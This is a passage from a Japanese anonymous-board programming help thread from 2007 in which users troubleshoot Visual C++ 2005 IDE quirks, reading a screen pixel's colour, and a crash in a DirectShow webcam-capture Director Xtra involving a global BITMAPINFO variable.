どれが一番いいのか?といわれたら
自分で何種類か書いて実際試してみるしかないだろうな
自分で試さずに人に聞いたり脳内でやってるやつは使いものにならない。

644:デフォルトの名無しさん
07/03/04 18:20:21
質問です。
プロパティウィンドウからコントロールのフォントや色を変えたいのですが、
それらしい項目が見つかりません。
使っているVCのバージョンは2005なのですが、昔のバージョンは
それっぽいのがあったと思ったのですが・・・
どうやったら変更できますでしょうか?

645:デフォルトの名無しさん
07/03/04 18:30:45
もともとネェヨ

646:デフォルトの名無しさん
07/03/04 18:32:59
いちばん肝心な情報が抜けてるから

647:デフォルトの名無しさん
07/03/04 23:49:02
>>644
それはVBだ

648:デフォルトの名無しさん
07/03/06 08:50:44
VC++ やっと2003から2005に上げられたんですけど
メニューのイベント・ハンドラが変・・・・


2003ではメニューのアイテムから
イベントハンドラの追加を選ぶと、
『追加して編集』と『コードを編集』ってボタンがあって

すでにイベントハンドラがある場合は、
『コードを編集』を押すと、
ソースのその関数に飛んでくれたんだけど

2005では『追加して編集』しかないんです

これって使用なんですか?
『コードを編集』はなくなって、自分で関数を探すしかないんでしょうか?


649:デフォルトの名無しさん
07/03/06 10:19:47
「コードを編集」はある。見えないだけだろう
タブで進めてリターン押してみ
IEのバージョンは?

650:デフォルトの名無しさん
07/03/06 10:23:51
確かにIE7だと見えない。
>>649 の言うように、タブで移動して押すしかないな。

651:デフォルトの名無しさん
07/03/06 12:37:22
>>649
>>650

確かにIE7です

『追加して編集』と『キャンセル』の間が開いてて
タブで移動していって適当なところでリターンしたら『コード編集』できました

とりあえず、ありがとうございます

だけど、コード編集ボタンを直接見たり、押すことはできないんですか?

IEのバージョンを6とかに戻せばいいんでしょうか?
(戻せるのかどうかわかりませんが・・・・)

652:デフォルトの名無しさん
07/03/06 12:45:29
>>644を見て思ったんだけど
unixのmotifなんかだとあらゆるコンポーネントにほとんど同一のメンバを追加することができる。
windowsのgui開発言語もそうなればいいのに。


653:デフォルトの名無しさん
07/03/06 13:42:57
windowsのgui開発といってもVCに限定してもいろいろあるし

654:デフォルトの名無しさん
07/03/06 13:55:30
リソースエディタはリソースを編集するエディタだから、
リソースの仕様に含まれていない以上、できなくて当然とも言えるな。

655:デフォルトの名無しさん
07/03/06 14:16:21
すいません、質問があります。

MS VC++.NET2003なのですが、
画面をキャプチャする方法をどなたかご存知でしょうか。

画面全体でなくてもいいのですが、
(マウスカーソルの部分の1ドットだけでいいんですが)、
キャプチャしてそこからマウスカーソルの部分の色情報を取得したいと考えています。

よろしくお願いします。

656:デフォルトの名無しさん
07/03/06 14:27:16
マウスのイベントかなんかで
指定された座標のピクセルの RGB (赤、緑、青) 値を取得

657:デフォルトの名無しさん
07/03/06 14:38:18
デスクトップのDC取得してGetPixel

658:デフォルトの名無しさん
07/03/06 16:31:25
どうしてもうまくいかんので質問すま。

URLリンク(wwwdoi.elec.nara-k.ac.jp)
のソースを参考にDirector用のXtraを作成中なのです。
んで、ソース中の
BITMAPINFO BitmapInfo;
をヘッダに書くとその直後のCopyMemoryの箇所で落ちるのです。
何故?

ちなみに開発環境はWindowsXP+VC6.0です。

659:デフォルトの名無しさん
07/03/06 17:20:03
> 何故?
コードがおかしいから

660:デフォルトの名無しさん
07/03/06 17:30:33
ドコガオカシインダロウ・・・(;´д`)

661:658=660
07/03/06 17:32:11
ID出ないの忘れてた。

662:デフォルトの名無しさん
07/03/06 17:35:36
落ちるコードを見せろ
つーか、Copyで落ちるならサイズ間違ってんだろ

663:658
07/03/06 17:37:40
HRESULT Cam::initialize()
{
HRESULT hr;
IBaseFilter *pSrcFilter=NULL;

CoInitialize(NULL); // COMの初期化
------------------------------(中略)--------------------------------------------------
// ビットマップ情報の取得
pGrab -> GetConnectedMediaType( &amt );
// ビデオ ヘッダーへのポインタを獲得する。
VIDEOINFOHEADER *pVideoHeader = (VIDEOINFOHEADER*)amt.pbFormat;
// ビデオ ヘッダーには、ビットマップ情報が含まれる。
// ビットマップ情報を BITMAPINFO 構造体にコピーする。
ZeroMemory( &BitmapInfo, sizeof(BitmapInfo) );
CopyMemory( &BitmapInfo.bmiHeader, &(pVideoHeader->bmiHeader), sizeof(BITMAPINFOHEADER));

// ---- キャプチャ開始 ----
pMC -> Run();
//バッファリングを有効にする
pGrab->SetBufferSamples(TRUE);
//ワンショットモードを無効にする
pGrab->SetOneShot(FALSE);

// 画像処理バッファ用メモリ確保
bufferTemp = (BYTE *)malloc(bufsize);

return S_OK;

}

664:デフォルトの名無しさん
07/03/06 17:38:56
(中略)部分は658リンク先のコードのコピペ。

665:658
07/03/06 17:41:24
ヘッダは以下。
#include <windows.h>
#include <dshow.h>
#include <qedit.h> // SampleGrabber用
#include <math.h>
#include <malloc.h>

static const GUID GUID_NULL = { 0x000000, 0x0000, 0x0000, {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,}};

#ifndef __ATLBASE_H__
#include <atlbase.h>
#endif

IGraphBuilder * pGraph = NULL;
IMediaControl * pMC = NULL;
ICaptureGraphBuilder2 * pCapture = NULL;
ICreateDevEnum * pDevEnum = NULL;
IEnumMoniker * pClassEnum = NULL;
IBaseFilter *pbf = NULL;
IMoniker * pMoniker = NULL;
ULONG cFetched;
IBaseFilter *pF = NULL;
ISampleGrabber *pGrab = NULL; // これらは後で解放すること

long bufsize = DEFAULT_VIDEO_WIDTH*DEFAULT_VIDEO_HEIGHT*3; //必要なバッファのサイズ
BYTE *bufferTemp = NULL;
AM_MEDIA_TYPE amt;

HWND hwnd;
BITMAPINFO BitmapInfo;
HBITMAP hBitmap;
(以下略)

666:デフォルトの名無しさん
07/03/06 17:43:19
コンピュータ名の取得の仕方を教えてください

667:デフォルトの名無しさん
07/03/06 17:43:24
// ビットマップ情報の取得 
pGrab -> GetConnectedMediaType( &amt ); 
// ビデオ ヘッダーへのポインタを獲得する。 
VIDEOINFOHEADER *pVideoHeader = (VIDEOINFOHEADER*)amt.pbFormat; 


ちゃんと取れてるんだろうな。
エラーチェックぐらいは当然やってるよな?

668:デフォルトの名無しさん
07/03/06 17:43:59
>>666
ぐぐれ

669:デフォルトの名無しさん
07/03/06 17:46:00
>>667
いかんせんデバッグモードみたいなのがないのですよ。orz
これがXtra開発の嫌なところで(ry

>>658のサンプルをコンパイルして実行したら普通に動くのでたぶん取れてるはず。

670:655
07/03/06 17:46:59
>>656-657
まだ確認はとれていないのですが、やってみます。
ご回答ありがとうございます。

671:デフォルトの名無しさん
07/03/06 17:54:40
せめてASSERTくらい入れとけ

672:デフォルトの名無しさん
07/03/06 17:59:29
ちなみに>>663中略以降を

// ビットマップ情報の取得
pGrab -> GetConnectedMediaType( &amt );
// ビデオ ヘッダーへのポインタを獲得する。
VIDEOINFOHEADER *pVideoHeader = (VIDEOINFOHEADER*)amt.pbFormat;
// ビデオ ヘッダーには、ビットマップ情報が含まれる。
// ビットマップ情報を BITMAPINFO 構造体にコピーする。
BITMAPINFO BitmapInfo;
ZeroMemory( &BitmapInfo, sizeof(BitmapInfo) );
CopyMemory( &BitmapInfo.bmiHeader, &(pVideoHeader->bmiHeader), sizeof(BITMAPINFOHEADER));

てな感じにすると普通に動くます。
だけどこれじゃBITMAP情報取れないので意味がない。orz

673:デフォルトの名無しさん
07/03/06 18:10:50
>>672
違いがわからんぞ
BITMAPINFO BitmapInfo; の場所だけか?

674:デフォルトの名無しさん
07/03/06 18:16:49
>>673
そうなのです。

675:デフォルトの名無しさん
07/03/06 18:17:22
Xtraって知らないけど663のCopy前で

BITMAPINFO tmp;
if( tmp.bmiHeader.biSize != BitmapInfo.bmiHeader.biSize)
  MessageBox(0,"勘弁してよ",0,0);

ってやったらどうなる?

676:デフォルトの名無しさん
07/03/06 18:20:27
グローバル変数なのかよ。
本来BitmapInfoは可変サイズだからそのまま宣言することは
あまりないんだが、、まあヘッダだけ欲しいならいいのか・・・

まずは、BitmapInfoのアドレスと、sizeof(BitmapInfo)を出してみ

677:デフォルトの名無しさん
07/03/06 18:21:03
あ、だめだ675は忘れて

678:デフォルトの名無しさん
07/03/06 18:21:10
>>675
「勘弁してよ!」って言われた!

・・・つまりどういうこと?(;´д`)

679:デフォルトの名無しさん
07/03/06 18:21:39
>>675
初期化してないbiSizeに意味が?

680:デフォルトの名無しさん
07/03/06 18:25:18
sizeof(BitmapInfo)を出そうとしたら落ちる・・・orz

681:デフォルトの名無しさん
07/03/06 18:26:42
BitmapInfoって名前がよくないw
何かとぶつかってんじゃないのか

682:デフォルトの名無しさん
07/03/06 18:29:52
MessageBox(0,(const char *)&BitmapInfo,0,0);
なんてのを加えたら空ダイアログが出たけどこれ壮大に間違ってますよねorz

683:デフォルトの名無しさん
07/03/06 18:34:05
正直、全体的にツッコミどころ満載。

684:デフォルトの名無しさん
07/03/06 18:35:02
そういうのは、
sprintf(str, "%X", &BitmapInfo);
とかやるもんだ

685:658
07/03/06 18:38:57
>>684
stdioは使えないのですよ。
コンソールとか開きませんし。

686:デフォルトの名無しさん
07/03/06 18:41:41
あ、使えるか。orz

687:デフォルトの名無しさん
07/03/06 18:43:51
アドレス:1000E380
sizeof(BitmapInfo):44
と出ました。

688:デフォルトの名無しさん
07/03/06 18:55:13
で、ZeroMemoryで落ちなくて
CopyMemoryで落ちるのか?

ローカルでBITMAPINFO を作ってそっからコピーしては。
とにかく、オオボケかましてる率98%だからな

689:デフォルトの名無しさん
07/03/06 19:07:42
>>688
大ボケですか・・・orz

class Cam {
BITMAPINFO BInfo;

とか宣言して

// ビデオ ヘッダーには、ビットマップ情報が含まれる。
// ビットマップ情報を BITMAPINFO 構造体にコピーする。
BITMAPINFO BitmapInfo;
ZeroMemory( &BitmapInfo, sizeof(BitmapInfo) );
CopyMemory( &BitmapInfo.bmiHeader, &(pVideoHeader->bmiHeader), sizeof(BITMAPINFOHEADER));
BInfo = BitmapInfo;

なんてやっても落ちます。

690:デフォルトの名無しさん
07/03/06 19:14:01
初心者スレだから言うけれど
落ちるにも色々あるんだ。

落ちた時のエラーメッセージを貼り付けるとよいかと

691:デフォルトの名無しさん
07/03/06 19:14:22
BInfo = BitmapInfo;
で落ちるのか?
落ちるというのは、その行で落ちるのか?

BInfo.bmiHeader.bfType とか、各メンバにはアクセスできるのか?

692:デフォルトの名無しさん
07/03/06 19:19:25
>>690
A fatal error has occurred. Director will quit now.
と出た後
Warning! Director is completely out of memory and
must exit immediately.
てなダイアログが出て終了しま。

693:デフォルトの名無しさん
07/03/06 19:20:18
>>691
その行で落ちるので以降アクセスできるかどうかもわかりません。

694:デフォルトの名無しさん
07/03/06 19:25:58
BITMAPINFO BitmapInfo;
ZeroMemory( &BitmapInfo, sizeof(BitmapInfo) );
char str[100];
sprintf(str, "%X", &BInfo);
MessageBox(0,str,0,0);
printf(str, "%d", BInfo.bmiHeader.biWidth);
MessageBox(0,str,0,0);
CopyMemory( &BitmapInfo.bmiHeader, &(pVideoHeader->bmiHeader), sizeof(BITMAPINFOHEADER));

てな感じだと普通に動きます。

695:658
07/03/06 20:32:33
似たプログラムが手元にあるんですけどそっちは普通に動くんですよね・・・。orz

とりあえず、もうちょい一人であれこれ考えてみます。


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